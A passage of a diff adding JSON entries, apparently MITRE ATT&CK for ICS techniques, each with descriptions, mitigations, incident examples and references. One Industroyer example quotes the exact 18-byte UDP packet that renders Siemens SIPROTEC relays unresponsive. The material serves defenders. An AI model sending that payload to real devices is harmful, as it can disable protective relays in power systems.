environment to disrupt and potentially cause adverse effects on the physical processes it helps to control. Methods of device restart and shutdown exist as built-in, standard functionalities. This can include interactive device web interfaces, CLIs, and network protocol commands, among others. Device restart or shutdown may also occur as a consequence of changing a device into an alternative mode of operation for testing or firmware loading. Unexpected restart or shutdown of control system devices may contribute to impact, by preventing expected response functions from activating and being received in critical states. This can also be a sign of malicious device modification, as many updates require a shutdown in order to take affect. For example, DNP3's function code 0x0D can reset and reconfigure DNP3 outstations by forcing them to perform a complete power cycle. In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries scheduled disconnects for the uniterruptable power supply (UPS) systems so that when power was disconnected from the substations, the devices would shut down and service could not be recovered.", + "meta": { + "Mitigations": [ + "Restrict user privileges with Role-Based Access Control (RBAC). Configure and assign “roles” based on the principle of least privilege. Levels of access can dictate several factors, including the ability to view, use, and alter specific ICS data or device functions.", + "In general, it is unlikely devices in an ICS environment should experience frequent shutdowns. Therefore, monitor physical devices for unexpected state changes and the network for suspicious, related activity", + "Whenever possible, intrusion detection systems, sensors, logs, and patch management should be done in real-time. These tools can provide tangible records of evidence and system integrity. Additionally, active log management utilities may actually flag an attack or event in progress and provide location and tracing information to help respond to the incident.", + "Applying best password policies and being multi-factor authentication enabled can add an additional barrier to device shutdown, in the situation only verified users have the shutdown capability.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Keep track of cables, to ensure that the ICS and IT environments remain separate and no interceptive, adversarial devices are installed. Cable exposure should be as minimal as possible, to reduce likely hood of tampering.", + "Depending on security needs and risks, it might also be prudent to disable or physically protect power buttons to prevent unauthorized use." + ], + "Procedure Examples": [ + "The Industroyer SIPROTEC DoS module exploits the CVE-2015-5374 vulnerability in order to render a Siemens SIPROTEC device unresponsive. Once this vulnerability is successfully exploited, the target device stops responding to any commands until it is rebooted manually.3 Once the tool is executed it sends specifically crafted packets to port 50,000 of the target IP addresses using UDP. The UDP packet contains the following 18 byte payload: 0x11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E." + ], + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T816" + ], + "refs": [ + "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "e3b4487b-d29f-4940-a02d-8c948374964b", + "value": "Device Restart/Shutdown" + }, + { + "description": "Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites. ", + "meta": { + "Procedure Examples": [ + "ALLANITE leverages watering hole attacks to gain access into electric utilities.", + "Dragonfly 2.0 utilized watering hole attacks to gather credentials, by compromising websites that energy sector organizations might access.", + "Dragonfly used intermediate targets for watering hole attacks on an intended target. A line of code is injected into the header.php file, this is used to redirect the visitors to an adversary controlled IP.", + "OilRig has been seen utilizing watering hole attacks to collect credentials which could be used to gain access into ICS networks", + "XENOTIME utilizes watering hole websites to target industrial employees.", + "Bad Rabbit ransomware spreads through drive-by attacks where insecure websites are compromised. While the target is visiting a legitimate website, a malware dropper is being downloaded from the threat actor’s infrastructure." + ], + "Tactic": [ + "Initial Access" + ], + "Technique ID": [ + "T817" + ], + "refs": [ + "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "https://www.securityweek.com/allanite-group-targets-ics-networks-electric-utilities-us-uk", + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://www.cyberviser.com/2018/05/group-linked-to-shamoon-attacks-targeting-ics-networks-in-middle-east-and-uk/", + "https://www.cyberscoop.com/xenotime-ics-cyber-attacks-trisis-dragos/", + "https://securelist.com/bad-rabbit-ransomware/82851/" + ] + }, + "uuid": "3eb64b2b-2710-446e-a30d-d49728d17350", + "value": "Drive-by Compromise" + }, + { + "description": "Adversaries may compromise and gain control of an engineering workstation as an Initial Access technique into the control system environment. Access to an engineering workstation may occur as a result of remote access or by physical means, such as a person with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to and control of other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. ", + "meta": { + "Procedure Examples": [ + "Stuxnet utilized an engineering workstation as the initial access point for PLC devices.", + "The Triton malware gained remote access to an SIS engineering workstation." + ], + "Tactic": [ + "Initial Access" + ], + "Technique ID": [ + "T818" + ], + "refs": [ + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html" + ] + }, + "uuid": "56fc2528-7ad9-4ff4-8a65-b7641822074e", + "value": "Engineering Workstation Compromise" + }, + { + "description": "Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software, such as Change Program State of a program on a PLC. ", + "meta": { + "Procedure Examples": [ + "PLC-Blaster utilizes the PLC communication and management API to load executable Program Organization Units.", + "Stuxnet utilizes the PLC communication and management API to load executable Program Organization Units.", + "Triton leverages a reconstructed TriStation protocol within its framework to trigger APIs related to program download, program allocation, and program changes" + ], + "Tactic": [ + "Execution" + ], + "Technique ID": [ + "T871" + ], + "refs": [ + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware" + ] + }, + "uuid": "66ff7ce5-3daf-4651-9157-b6df2009e1b6", + "value": "Execution through API" + }, + { + "description": "Adversaries may attempt to exploit public-facing applications to leverage weaknesses on Internet-facing computer systems, programs, or assets in order to cause unintended or unexpected behavior. These public-facing applications may include user interfaces, software, data, or commands. In particular, a public-facing application in the IT environment may provide adversaries an interface into the OT environment. ICS-CERT analysis has identified the probable initial infection vector for systems running GE’s Cimplicity HMI with a direct connection to the Internet.", + "meta": { + "Tactic": [ + "Initial Access" + ], + "Technique ID": [ + "T819" + ], + "refs": [ + "https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B" + ] + }, + "uuid": "fce2a3b6-4bf0-4f98-9287-8849f0ed08d0", + "value": "Exploit Public-Facing Application" + }, + { + "description": "Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware. ", + "meta": { + "Procedure Examples": [ + "Triton disables a firmware RAM/ROM consistency check, injects a payload (imain.bin) into the firmware memory region, and changes a jumptable entry to point to the added code. In Schneider Electric Triconex Tricon MP model 3008 firmware versions 10.0-10.4, system calls read directly from memory addresses within the control program area without any verification. Manipulating this data could allow adversary data to be copied anywhere within memory.45 Triconex systems include continuous means of detection including checksums for firmware and program integrity, memory and memory reference integrity, and configuration " + ], + "Tactic": [ + "Evasion" + ], + "Technique ID": [ + "T820" + ], + "refs": [ + "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf", + "https://ics-cert.us-cert.gov/advisories/ICSA-18-107-02", + "https://www.youtube.com/watch?v=f09E75bWvkk&index=3&list=PL8OWO1qWXF4qYG19p7An4Vw3N2YZ86aRS&t=0s", + "https://nvd.nist.gov/vuln/detail/CVE-2018-8872", + "https://cwe.mitre.org/data/definitions/119.html", + "https://www.nrc.gov/docs/ML1209/ML120900890.pdf" + ] + }, + "uuid": "8b5ed78d-5902-4656-99a8-05f8733f56bd", + "value": "Exploitation for Evasion" + }, + { + "description": "Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts.", + "meta": { + "Procedure Examples": [ + "Bad Rabbit initially infected IT networks, but by means of an exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks.", + "NotPetya initially infected IT networks, but by means of an exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks.", + "WannaCry initially infected IT networks, but by means of an exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks." + ], + "Tactic": [ + "Lateral Movement" + ], + "Technique ID": [ + "T866" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1210/", + "https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/" + ] + }, + "uuid": "c9324642-1af8-45d5-8b99-a8227e541f9d", + "value": "Exploitation of Remote Services" + }, + { + "description": "Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point?to?point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. The 2015 attack on the Ukranian power grid showed the use of existing remote access tools within the environment to access the control system network. The adversary harvested worker credentials, some of them for VPNs the grid workers used to remotely log into the control system networks.3245 The VPNs into these networks appear to have lacked two?factor authentication.", + "meta": { + "Mitigations": [ + "Restrict user privileges with Role-Based Access Control (RBAC). Configure and assign “roles” based on the principle of least privilege. Levels of access can dictate several factors, including the ability to view, use, and alter specific ICS data or device functions.", + "Configure remote control software to use unique user names and passwords, strong authentication, encryption if determined appropriate, and audit logs. Use of this software by remote users should be monitored on an almost real-time frequency.", + "Enable console user actions to be traceable, either manually (e.g., control room sign in) or automatically (e.g. ,login at the application and/or OS layer).8 Protect and restrict access to the resulting logs.", + "In environments with a high risk of interception or intrusion, consider supplementing password authentication with other forms of authentication such as multi-factor authentication using biometric or physical tokens.", + "Secure and restrict access to the control room(s), which could be leveraged to set up an external remote service. Ensure VPNs, which are commonly used to provide secure access to ICS environments from untrusted networks, are properly configured.", + "Maintain awareness and observe use of External Remote Services with intrusion detection systems and solutions. Timely patch maintenance will assist with reducing the likelihood of Exploitation of Vulnerability for External Remote Service." + ], + "Procedure Examples": [ + "XENOTIME utilized remote desktop protocol (RDP) jump boxes to move into the ICS environment.", + "Bad Rabbit can utilize exposed SMB services to access industrial networks.", + "NotPetya can utilize exposed SMB services to access industrial networks.", + "WannaCry can utilize exposed SMB services to access industrial networks" + ], + "Tactic": [ + "Lateral Movement, Initial Access" + ], + "Technique ID": [ + "T822" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1133", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/", + "https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01", + "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html", + "https://dragos.com/blog/trisis/TRISIS-01.pdf", + "https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "51aa0e11-3141-4c65-a6bf-2a434ff62e11", + "value": "External Remote Services" + }, + { + "description": "Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the 2015 attack on the Ukrainian power grid, the adversary utilized the GUI of HMIs in the SCADA environment to open breakers.", + "meta": { + "Mitigations": [ + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Physical control room or control systems access often implies also gaining logical access.", + "Unauthorized and suspicious media should be avoided and kept away from systems and the network.", + "Authentication and strong passwords should be used to protect access to GUIs. Associated accounts and GUI sessions should be restricted to appropriate capabilities and actions.", + "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.", + "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting tools, like AppLocker and Software Restriction Policies where appropriate." + ], + "Tactic": [ + "Execution" + ], + "Technique ID": [ + "T823" + ], + "refs": [ + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "uuid": "fe7af615-363e-4d57-89f3-b513e3d2ea30", + "value": "Graphical User Interface" + }, + { + "description": "Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process’s IAT, where pointers to imported API functions are stored.", + "meta": { + "Procedure Examples": [ + "Stuxnet modifies the Import Address Tables DLLs to hook specific APIs that are used to open project files." + ], + "Tactic": [ + "Persistence" + ], + "Technique ID": [ + "T874" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1179/", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + ] + }, + "uuid": "eb51ef09-1119-42e5-a54a-bae8da791160", + "value": "Hooking" + }, + { + "description": "Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O.", + "meta": { + "Procedure Examples": [ + "Stuxnet copies the input area of an I/O image into data blocks with a one second interval between copies, forming a 21 second recording of the input area. The input area contains information being passed to the PLC from a peripheral. For example, the current state of a valve or the temperature of a device." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T877" + ], + "refs": [ + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + ] + }, + "uuid": "a721f6e3-0b80-4eca-bbd1-43a6891ac8cd", + "value": "I/O Image" + }, + { + "description": "Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes. ", + "meta": { + "Mitigations": [ + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. *Ensure ICS and IT network cables are kept separate and that devices are locked up when possible. *Consider multi-factor authentication solutions, such as biometric or card-based tokens, to supplement traditional password-protection to access physical rooms." + ], + "Procedure Examples": [ + "Stuxnet enumerates and parses the System Data Blocks (SDB). Stuxnet must find an SDB with the DWORD at offset 50h equal to 0100CB2Ch. This specifies that the system uses the Profibus communications processor module CP 342-5. In addition, specific values are searched for and counted: 7050h and 9500h. 7050h is assigned to part number KFC750V3 which appears to be a frequency converter drive (also known as variable frequency drive) manufactured by Fararo Paya in Teheran, Iran. 9500h is assigned to Vacon NX frequency converter drives manufactured by Vacon based in Finland." + ], + "Tactic": [ + "Discovery" + ], + "Technique ID": [ + "T824" + ], + "refs": [ + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "10ea82ba-9f19-476a-8ec5-c653e0add46c", + "value": "I/O Module Discovery" + }, + { + "description": "Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device. ", + "meta": { + "Procedure Examples": [ + "KillDisk deletes application, security, setup, and system event logs from Windows systems.", + "Triton would reset the controller to the previous state over TriStation and if this failed it would write a dummy program to memory in what was likely an attempt at anti-forensics." + ], + "Tactic": [ + "Evasion" + ], + "Technique ID": [ + "T872" + ], + "refs": [ + "https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/", + "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware" + ] + }, + "uuid": "54e8db05-d233-48f4-9467-702f60bd53c0", + "value": "Indicator Removal on Host" + }, + { + "description": "Adversaries may gain access into industrial environments directly through systems exposed to the internet for remote access rather than through External Remote Services. Minimal protections provided by these devices such as password authentication may be targeted and compromised. In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.", + "meta": { + "Procedure Examples": [ + "Sandworm actors exploited vulnerabilities in GE's Cimplicity HMI and Advantech/Broadwin WebAccess HMI software which had been directly exposed to the internet." + ], + "Tactic": [ + "Initial Access" + ], + "Technique ID": [ + "T833" + ], + "refs": [ + "https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf", + "https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559", + "https://time.com/4270728/iran-cyber-attack-dam-fbi/", + "https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B", + "https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B" + ] + }, + "uuid": "a9251e7f-921e-40f3-9ad7-8ab3f38e3136", + "value": "Internet Accessible Device" + }, + { + "description": "Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries1. While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.", + "meta": { + "Mitigations": [ + "Prior to wireless network installation, survey the area to determine the antenna location and strength that minimizes exposure of the network. An adversary is capable of extending the effective range of a wireless LAN with powerful directional antennas.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Physical control room or control systems access often implies also gaining logical access", + "Unauthorized and suspicious media should be avoided and kept away from systems and the network.", + "Ensure ICS and IT network cables are kept separate and that devices are locked up when possible. Protecting and securing cables reduces potential collateral damage and the likelihood of being tampered with.", + "Whenever possible, protect location information from outside eyes. Limit viewing of any stored data to those with the need to know and try to restrict data sending to encrypted channels." + ], + "Procedure Examples": [ + "The Backdoor.Oldrea payload has the capability of enumerating OPC tags, in addition to more generic OPC server information. The tag names, depending on the naming convention, can provide information about facilities and locations." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T825" + ], + "refs": [ + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf", + "https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01", + "https://www.f-secure.com/weblog/archives/00002718.html" + ] + }, + "uuid": "48aed709-3fcf-4d51-8316-c4dc6b90114f", + "value": "Location Identification" + }, + { + "description": "Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. ", + "meta": { + "Procedure Examples": [ + "A Conficker infection at a nuclear power plant forced the facility to temporarily shutdown." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T826" + ], + "refs": [ + "https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf", + "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297", + "https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false", + "https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml" + ] + }, + "uuid": "b997f861-a587-48d5-9070-a358b1b67ac6", + "value": "Loss of Availability" + }, + { + "description": "Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.", + "meta": { + "Procedure Examples": [ + "Industroyer's data wiper component removes the registry image path throughout the system and overwrites all files, rendering the system unusable.", + "Some of Norsk Hydro's production systems were impacted by a LockerGoga infection. This resulted in a loss of control which forced the company to switch to manual operations." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T827" + ], + "refs": [ + "https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf", + "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297", + "https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880", + "https://www.hydro.com/en/media/on-the-agenda/cyber-attack/" + ] + }, + "uuid": "0d1979d5-d62c-4836-b14a-46f5a6d68bca", + "value": "Loss of Control" + }, + { + "description": "Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety. ", + "meta": { + "Procedure Examples": [ + "Several transportation organizations in Ukraine have suffered from being infected by Bad Rabbit, resulting in some computers becoming encrypted, according to media reports.", + "A Conficker infection at a nuclear power plant forced the facility to shutdown and go through security procedures involved with such events, with its staff scanning computer systems and going through all the regular checks and motions before putting the plant back into production.", + "While Norsk Hydro attempted to recover from a LockerGoga infection, most of its 160 manufacturing locations switched to manual (non-IT driven) operations. Manual operations can result in a loss of productivity", + "NotPetya disrupted manufacturing facilities supplying vaccines, resulting in a halt of production and the inability to meet demand for specific vaccines.", + "An enterprise resource planning (ERP) manufacturing server was lost to the Ryuk attack. The manufacturing process had to rely on paper and existing orders to keep the shop floor open." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T828" + ], + "refs": [ + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", + "https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml", + "https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880", + "https://www.hydro.com/en/media/on-the-agenda/cyber-attack/", + "https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war", + "https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760" + ] + }, + "uuid": "f2905196-e419-4740-bca9-0fc3af846bc0", + "value": "Loss of Productivity and Revenue" + }, + { + "description": "Adversaries may cause loss of safety whether on purpose or as a consequence of actions taken to accomplish an operation. The loss of safety can describe a physical impact and threat, or the potential for unsafe conditions and activity in terms of control systems environments, devices, or processes. For instance, an adversary may issue commands or influence and possibly inhibit safety mechanisms that allow the injury of and possible loss of life. This can also encompass scenarios resulting in the failure of a safety mechanism or control, that may lead to unsafe and dangerous execution and outcomes of physical processes and related systems. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.567 Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.", + "meta": { + "Procedure Examples": [ + "Industroyer contained a module which leveraged a vulnerability in the Siemens SIPROTEC relays (CVE-2015-5374) to create a Denial of Service against automated protective relays.", + "Triton has the capability to reprogram the SIS logic to allow unsafe conditions to persist or reprogram the SIS to allow an unsafe state – while using the DCS to create an unsafe state or hazard." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T880" + ], + "refs": [ + "https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf", + "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297", + "https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false", + "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3", + "https://www.londonreconnections.com/2017/hacked-cyber-security-railways/", + "https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/", + "https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html", + "https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html" + ] + }, + "uuid": "4f46d0e0-91ee-4ab2-a5b7-168ee099b715", + "value": "Loss of Safety" + }, + { + "description": "Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves.", + "meta": { + "Procedure Examples": [ + "Industroyer's data wiper component removes the registry image path throughout the system and overwrites all files, rendering the system unusable. KillDisk erases the master boot record (MBR) and system logs, leaving the system unusable.", + "Some of Norsk Hydro's production systems were impacted by a LockerGoga infection. This resulted in a loss of view which forced the company to switch to manual operations." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T829" + ], + "refs": [ + "https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf", + "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297", + 